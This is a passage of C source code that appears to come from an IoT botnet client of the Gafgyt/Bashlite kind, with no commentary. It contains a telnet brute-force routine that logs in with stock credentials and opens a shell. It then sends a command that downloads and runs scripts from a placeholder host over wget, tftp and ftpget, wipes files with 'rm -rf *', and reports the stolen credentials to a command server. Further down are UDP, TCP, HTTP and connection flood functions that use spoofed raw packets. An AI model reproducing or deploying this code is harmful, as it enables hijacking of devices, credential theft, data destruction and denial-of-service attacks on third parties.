  1354.                                                         fds[i].state = 2;
  1355.                                                         continue;
  1356.                                                 }
  1357.                                         } else if(res == -1)
  1358.                                         {
  1359.                                                 sclose(fds[i].fd);
  1360.                                                 fds[i].state = 0;
  1361.                                                 fds[i].complete = 1;
  1362.                                         }
  1363.  
  1364.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1365.                                         {
  1366.                                                 sclose(fds[i].fd);
  1367.                                                 fds[i].state = 0;
  1368.                                                 fds[i].complete = 1;
  1369.                                         }
  1370.                                 }
  1371.                                 break;
  1372.  
  1373.                         case 2:
  1374.                                 {
  1375.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1376.  
  1377.                                         if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1378.                                         {
  1379.                                                 fds[i].totalTimeout = 0;
  1380.                                                 fds[i].bufUsed = 0;
  1381.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1382.                                                 else memset(fds[i].sockbuf, 0, 1024);
  1383.                                                 fds[i].state = 3;
  1384.                                                 continue;
  1385.                                         }
  1386.                                         else if(readUntil(fds[i].fd, "user:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1387.                                         {
  1388.                                                 fds[i].totalTimeout = 0;
  1389.                                                 fds[i].bufUsed = 0;
  1390.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1391.                                                 else memset(fds[i].sockbuf, 0, 1024);
  1392.                                                 fds[i].state = 3;
  1393.                                                 continue;
  1394.                                         }
  1395.                                         else if(readUntil(fds[i].fd, "name", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1396.                                         {
  1397.                                                 fds[i].totalTimeout = 0;
  1398.                                                 fds[i].bufUsed = 0;
  1399.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1400.                                                 else memset(fds[i].sockbuf, 0, 1024);
  1401.                                                 fds[i].state = 3;
  1402.                                                 continue;
  1403.                                         }
  1404.                                         else if(readUntil(fds[i].fd, "pass", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1405.                                         {
  1406.                                                 fds[i].totalTimeout = 0;
  1407.                                                 fds[i].bufUsed = 0;
  1408.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1409.                                                 else memset(fds[i].sockbuf, 0, 1024);
  1410.                                                 fds[i].state = 3;
  1411.                                                 continue;
  1412.                                         }
  1413.                                         else if(readUntil(fds[i].fd, "word", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1414.                                         {
  1415.                                                 fds[i].totalTimeout = 0;
  1416.                                                 fds[i].bufUsed = 0;
  1417.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1418.                                                 else memset(fds[i].sockbuf, 0, 1024);
  1419.                                                 fds[i].state = 3;
  1420.                                                 continue;
  1421.                                         } else {
  1422.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1423.                                         }
  1424.  
  1425.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1426.                                         {
  1427.                                                 sclose(fds[i].fd);
  1428.                                                 fds[i].state = 0;
  1429.                                                 fds[i].complete = 1;
  1430.                                         }
  1431.                                 }
  1432.                                 break;
  1433.  
  1434.                         case 3:
  1435.                                 {
  1436.                                         if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1437.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1438.                                         fds[i].state = 4;
  1439.                                 }
  1440.                                 break;
  1441.  
  1442.                         case 4:
  1443.                                 {
  1444.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1445.  
  1446.                                         if(readUntil(fds[i].fd, "pass", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1447.                                         {
  1448.                                                 fds[i].totalTimeout = 0;
  1449.                                                 fds[i].bufUsed = 0;
  1450.                                                 if(strstr(fds[i].sockbuf, "pass") != NULL) fds[i].state = 5;
  1451.                                                 else fds[i].state = 7;
  1452.                                                 memset(fds[i].sockbuf, 0, 1024);
  1453.                                                 continue;
  1454.                                         }
  1455.                                         if(readUntil(fds[i].fd, "word", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1456.                                         {
  1457.                                                 fds[i].totalTimeout = 0;
  1458.                                                 fds[i].bufUsed = 0;
  1459.                                                 if(strstr(fds[i].sockbuf, "word") != NULL) fds[i].state = 5;
  1460.                                                 else fds[i].state = 7;
  1461.                                                 memset(fds[i].sockbuf, 0, 1024);
  1462.                                                 continue;
  1463.                                         }
  1464.                                             else {
  1465.                                                 if(strstr(fds[i].sockbuf, "invalid") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1466.                                                 if(strstr(fds[i].sockbuf, "incorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1467.                                                 if(strstr(fds[i].sockbuf, "fail") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1468.                                                 if(strstr(fds[i].sockbuf, "again") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1469.                                                 if(strstr(fds[i].sockbuf, "wrong") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1470.                                                 if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1471.                                                 if(strstr(fds[i].sockbuf, "denied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1472.                                                 if(strstr(fds[i].sockbuf, "error") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1473.                                                 if(strstr(fds[i].sockbuf, "bad") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1474.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1475.                                         }
  1476.  
  1477.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1478.                                         {
  1479.                                                 sclose(fds[i].fd);
  1480.                                                 fds[i].state = 0;
  1481.                                                 fds[i].complete = 1;
  1482.                                         }
  1483.                                 }
  1484.                                 break;
  1485.  
  1486.                         case 5:
  1487.                                 {
  1488.                                         if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1489.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1490.                                         fds[i].state = 6;
  1491.                                 }
  1492.                                 break;
  1493.  
  1494.                         case 6:
  1495.                                 {
  1496.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1497.  
  1498.                                     if(readUntil(fds[i].fd, "invalid", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1499.                                     {
  1500.                                         fds[i].totalTimeout = 0;
  1501.                                         fds[i].bufUsed = 0;
  1502.                                         if(strstr(fds[i].sockbuf, "invalid") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1503.                                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1504.                                         else fds[i].state = 7;
  1505.                                         memset(fds[i].sockbuf, 0, 1024);
  1506.                                         continue;
  1507.                                     }
  1508.                                     if(readUntil(fds[i].fd, "incorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1509.                                     {
  1510.                                         fds[i].totalTimeout = 0;
  1511.                                         fds[i].bufUsed = 0;
  1512.                                         if(strstr(fds[i].sockbuf, "incorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1513.                                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1514.                                         else fds[i].state = 7;
  1515.                                         memset(fds[i].sockbuf, 0, 1024);
  1516.                                         continue;
  1517.                                     }
  1518.                                     if(readUntil(fds[i].fd, "fail", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1519.                                     {
  1520.                                         fds[i].totalTimeout = 0;
  1521.                                         fds[i].bufUsed = 0;
  1522.                                         if(strstr(fds[i].sockbuf, "fail") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1523.                                         else fds[i].state = 7;
  1524.                                         memset(fds[i].sockbuf, 0, 1024);
  1525.                                         continue;
  1526.                                     }
  1527.                                     if(readUntil(fds[i].fd, "again", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1528.                                     {
  1529.                                         fds[i].totalTimeout = 0;
  1530.                                         fds[i].bufUsed = 0;
  1531.                                         if(strstr(fds[i].sockbuf, "again") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1532.                                         else fds[i].state = 7;
  1533.                                         memset(fds[i].sockbuf, 0, 1024);
  1534.                                         continue;
  1535.                                     }
  1536.                                     if(readUntil(fds[i].fd, "wrong", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1537.                                     {
  1538.                                         fds[i].totalTimeout = 0;
  1539.                                         fds[i].bufUsed = 0;
  1540.                                         if(strstr(fds[i].sockbuf, "wrong") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1541.                                         else fds[i].state = 7;
  1542.                                         memset(fds[i].sockbuf, 0, 1024);
  1543.                                         continue;
  1544.                                     }
  1545.                                     if(readUntil(fds[i].fd, "accessdenied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1546.                                     {
  1547.                                         fds[i].totalTimeout = 0;
  1548.                                         fds[i].bufUsed = 0;
  1549.                                         if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1550.                                         else fds[i].state = 7;
  1551.                                         memset(fds[i].sockbuf, 0, 1024);
  1552.                                         continue;
  1553.                                     }
  1554.                                     if(readUntil(fds[i].fd, "denied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1555.                                     {
  1556.                                         fds[i].totalTimeout = 0;
  1557.                                         fds[i].bufUsed = 0;
  1558.                                         if(strstr(fds[i].sockbuf, "denied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1559.                                         else fds[i].state = 7;
  1560.                                         memset(fds[i].sockbuf, 0, 1024);
  1561.                                         continue;
  1562.                                     }
  1563.                                     if(readUntil(fds[i].fd, "error", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1564.                                     {
  1565.                                         fds[i].totalTimeout = 0;
  1566.                                         fds[i].bufUsed = 0;
  1567.                                         if(strstr(fds[i].sockbuf, "error") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1568.                                         else fds[i].state = 7;
  1569.                                         memset(fds[i].sockbuf, 0, 1024);
  1570.                                         continue;
  1571.                                     }
  1572.                                     if(readUntil(fds[i].fd, "bad", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1573.                                     {
  1574.                                         fds[i].totalTimeout = 0;
  1575.                                         fds[i].bufUsed = 0;
  1576.                                         if(strstr(fds[i].sockbuf, "bad") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1577.                                         else fds[i].state = 7;
  1578.                                         memset(fds[i].sockbuf, 0, 1024);
  1579.                                         continue;
  1580.                                     }
  1581.                                     else {
  1582.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1583.                                         }
  1584.  
  1585.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1586.                                         {
  1587.                                                 sclose(fds[i].fd);
  1588.                                                 fds[i].state = 0;
  1589.                                                 fds[i].complete = 1;
  1590.                                         }
  1591.                                 }
  1592.                                 break;
  1593.  
  1594.                         case 7:
  1595.                                 {
  1596.                                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1597.                                     fds[i].state = 8;
  1598.                                 }
  1599.                                 break;
  1600.                         case 8:
  1601.                                 {
  1602.                                     if(send(fds[i].fd, "/bin/sh\r\n", 9, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1603.                                     fds[i].state = 9;
  1604.                                 }
  1605.                                 break;
  1606.  
  1607.                         case 9:
  1608.                                 {
  1609.                                     if(send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1610.                                     sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1611.                                     fds[i].state = 10;
  1612.                                 }
  1613.                                 break;
  1614.  
  1615.                         case 10:
  1616.                                 {
  1617.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1618.  
  1619.                                     if(readUntil(fds[i].fd, "ulti-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1620.                                     {
  1621.                                         fds[i].totalTimeout = 0;
  1622.                                         fds[i].bufUsed = 0;
  1623.                                         send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  1624.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1625.                                         continue;
  1626.  
  1627.                                     }
  1628.                                     else if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1629.                                     {
  1630.                                         fds[i].totalTimeout = 0;
  1631.                                         fds[i].bufUsed = 0;
  1632.                                         send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  1633.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1634.                                         continue;
  1635.  
  1636.                                     }
  1637.                                     else if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1638.                                     {
  1639.                                         fds[i].totalTimeout = 0;
  1640.                                         fds[i].bufUsed = 0;
  1641.                                         send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  1642.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1643.                                         memset(fds[i].sockbuf, 0, 1024);
  1644.                                         sclose(fds[i].fd);
  1645.                                         fds[i].complete = 1;
  1646.                                         fds[i].state = 0;
  1647.                                         continue;
  1648.                                     }
  1649.                                     else {
  1650.                                             fds[i].bufUsed = strlen(fds[i].sockbuf);
  1651.                                          }
  1652.  
  1653.                                     if(fds[i].totalTimeout + 10 < time(NULL))
  1654.                                     {
  1655.                                         sclose(fds[i].fd);
  1656.                                         fds[i].state = 0;
  1657.                                         fds[i].complete = 1;
  1658.                                     }
  1659.                                 }
  1660.                                 break;
  1661.                         }
  1662.                 }
  1663.         }
  1664. }
  1665.  
  1666. void sendSTD(unsigned char *ip, int port, int secs) {
  1667.  
  1668.     int iSTD_Sock;
  1669.  
  1670.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1671.  
  1672.     time_t start = time(NULL);
  1673.  
  1674.     struct sockaddr_in sin;
  1675.  
  1676.     struct hostent *hp;
  1677.  
  1678.     hp = gethostbyname(ip);
  1679.  
  1680.     bzero((char*) &sin,sizeof(sin));
  1681.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1682.     sin.sin_family = hp->h_addrtype;
  1683.     sin.sin_port = port;
  1684.  
  1685.     unsigned int a = 0;
  1686.  
  1687.     while(1){
  1688.         if (a >= 50)
  1689.         {
  1690.             send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1691.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1692.             if (time(NULL) >= start + secs)
  1693.             {
  1694.                 close(iSTD_Sock);
  1695.                 _exit(0);
  1696.             }
  1697.             a = 0;
  1698.         }
  1699.         a++;
  1700.     }
  1701.    
  1702.  
  1703. }
  1704.  
  1705. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1706. {
  1707.         struct sockaddr_in dest_addr;
  1708.  
  1709.         dest_addr.sin_family = AF_INET;
  1710.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1711.         else dest_addr.sin_port = htons(port);
  1712.         if(getHost(target, &dest_addr.sin_addr)) return;
  1713.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1714.  
  1715.         register unsigned int pollRegister;
  1716.         pollRegister = pollinterval;
  1717.  
  1718.         if(spoofit == 32)
  1719.         {
  1720.                 int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1721.                 if(!sockfd)
  1722.                 {
  1723.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1724.                         return;
  1725.                 }
  1726.  
  1727.                 unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1728.                 if(buf == NULL) return;
  1729.                 memset(buf, 0, packetsize + 1);
  1730.                 makeRandomStr(buf, packetsize);
  1731.  
  1732.                 int end = time(NULL) + timeEnd;
  1733.                 register unsigned int i = 0;
  1734.                 while(1)
  1735.                 {
  1736.                         sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1737.  
  1738.                         if(i == pollRegister)
  1739.                         {
  1740.                                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  1741.                                 if(time(NULL) > end) break;
  1742.                                 i = 0;
  1743.                                 continue;
  1744.                         }
  1745.                         i++;
  1746.                 }
  1747.         } else {
  1748.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1749.                 if(!sockfd)
  1750.                 {
  1751.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1752.                         //sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1753.                         return;
  1754.                 }
  1755.  
  1756.                 int tmp = 1;
  1757.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1758.                 {
  1759.                         sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1760.                         return;
  1761.                 }
  1762.  
  1763.                 int counter = 50;
  1764.                 while(counter--)
  1765.                 {
  1766.                         srand(time(NULL) ^ rand_cmwc());
  1767.                         init_rand(rand());
  1768.                 }
  1769.  
  1770.                 in_addr_t netmask;
  1771.  
  1772.                 if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1773.                 else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1774.  
  1775.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1776.                 struct iphdr *iph = (struct iphdr *)packet;
  1777.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1778.  
  1779.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1780.  
  1781.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1782.                 udph->source = rand_cmwc();
  1783.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1784.                 udph->check = 0;
  1785.  
  1786.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1787.  
  1788.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1789.  
  1790.                 int end = time(NULL) + timeEnd;
  1791.                 register unsigned int i = 0;
  1792.                 while(1)
  1793.                 {
  1794.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1795.  
  1796.                         udph->source = rand_cmwc();
  1797.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1798.                         iph->id = rand_cmwc();
  1799.                         iph->saddr = htonl( getRandomIP(netmask) );
  1800.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1801.  
  1802.                         if(i == pollRegister)
  1803.                         {
  1804.                                 if(time(NULL) > end) break;
  1805.                                 i = 0;
  1806.                                 continue;
  1807.                         }
  1808.                         i++;
  1809.                 }
  1810.         }
  1811. }
  1812.  
  1813. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1814. {
  1815.         register unsigned int pollRegister;
  1816.         pollRegister = pollinterval;
  1817.  
  1818.         struct sockaddr_in dest_addr;
  1819.  
  1820.         dest_addr.sin_family = AF_INET;
  1821.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1822.         else dest_addr.sin_port = htons(port);
  1823.         if(getHost(target, &dest_addr.sin_addr)) return;
  1824.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1825.  
  1826.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1827.         if(!sockfd)
  1828.         {
  1829.                 sockprintf(mainCommSock, "Failed opening raw socket.");
  1830.                 return;
  1831.         }
  1832.  
  1833.         int tmp = 1;
  1834.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1835.         {
  1836.                 sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1837.                 return;
  1838.         }
  1839.  
  1840.         in_addr_t netmask;
  1841.  
  1842.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1843.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1844.  
  1845.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1846.         struct iphdr *iph = (struct iphdr *)packet;
  1847.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1848.  
  1849.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1850.  
  1851.         tcph->source = rand_cmwc();
  1852.         tcph->seq = rand_cmwc();
  1853.         tcph->ack_seq = 0;
  1854.         tcph->doff = 5;
  1855.  
  1856.         if(!strcmp(flags, "all"))
  1857.         {
  1858.                 tcph->syn = 1;
  1859.                 tcph->rst = 1;
  1860.                 tcph->fin = 1;
  1861.                 tcph->ack = 1;
  1862.                 tcph->psh = 1;
  1863.         } else {
  1864.                 unsigned char *pch = strtok(flags, ",");
  1865.                 while(pch)
  1866.                 {
  1867.                         if(!strcmp(pch,         "syn"))
  1868.                         {
  1869.                                 tcph->syn = 1;
  1870.                         } else if(!strcmp(pch,  "rst"))
  1871.                         {
  1872.                                 tcph->rst = 1;
  1873.                         } else if(!strcmp(pch,  "fin"))
  1874.                         {
  1875.                                 tcph->fin = 1;
  1876.                         } else if(!strcmp(pch,  "ack"))
  1877.                         {
  1878.                                 tcph->ack = 1;
  1879.                         } else if(!strcmp(pch,  "psh"))
  1880.                         {
  1881.                                 tcph->psh = 1;
  1882.                         } else {
  1883.                                 sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1884.                         }
  1885.                         pch = strtok(NULL, ",");
  1886.                 }
  1887.         }
  1888.  
  1889.         tcph->window = rand_cmwc();
  1890.         tcph->check = 0;
  1891.         tcph->urg_ptr = 0;
  1892.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1893.         tcph->check = tcpcsum(iph, tcph);
  1894.  
  1895.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1896.  
  1897.         int end = time(NULL) + timeEnd;
  1898.         register unsigned int i = 0;
  1899.         while(1)
  1900.         {
  1901.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1902.  
  1903.                 iph->saddr = htonl( getRandomIP(netmask) );
  1904.                 iph->id = rand_cmwc();
  1905.                 tcph->seq = rand_cmwc();
  1906.                 tcph->source = rand_cmwc();
  1907.                 tcph->check = 0;
  1908.                 tcph->check = tcpcsum(iph, tcph);
  1909.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1910.  
  1911.                 if(i == pollRegister)
  1912.                 {
  1913.                         if(time(NULL) > end) break;
  1914.                         i = 0;
  1915.                         continue;
  1916.                 }
  1917.                 i++;
  1918.         }
  1919. }
  1920.  
  1921. void sendHTTP(unsigned char *url, int end_time)
  1922. {
  1923.     int end = time(NULL) + end_time;
  1924.     FILE *pf;
  1925.     char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  1926.    
  1927.     char *command[80];
  1928.     sprintf(command,"wget -s -U \"");
  1929.     strcat(command, UA);
  1930.     strcat(command,"\" -q ");
  1931.     strcat(command, url);
  1932.    
  1933.     while(end > time(NULL))
  1934.     {
  1935.         UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  1936.         sprintf(command,"wget -s -U \"");
  1937.         strcat(command, UA);
  1938.         strcat(command,"\" -q ");
  1939.         strcat(command, url);
  1940.         system(command);
  1941.     }
  1942.    
  1943. }
  1944.  
  1945. void sendCNC(unsigned char *ip,int port, int end_time)
  1946. {
  1947.     int end = time(NULL) + end_time;
  1948.     int sockfd;
  1949.     struct sockaddr_in server;
  1950.     //sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1951.    
  1952.     server.sin_addr.s_addr = inet_addr(ip);
  1953.     server.sin_family = AF_INET;
  1954.     server.sin_port = htons(port);
  1955.    
  1956.     while(end > time(NULL))
  1957.     {
  1958.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1959.         connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  1960.         sleep(1);
  1961.         close(sockfd);
  1962.     }
  1963.    
  1964. }
  1965.  
  1966. void processCmd(int argc, unsigned char *argv[])
  1967. {
  1968.     int x;
  1969.         if(!strcmp(argv[0], "PING"))
  1970.         {
  1971.                 sockprintf(mainCommSock, "PONG!");
  1972.                 return;
  1973.         }
  1974.  
  1975.         if(!strcmp(argv[0], "GETLOCALIP"))
  1976.         {
  1977.                 sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1978.                 return;
  1979.         }
  1980.        
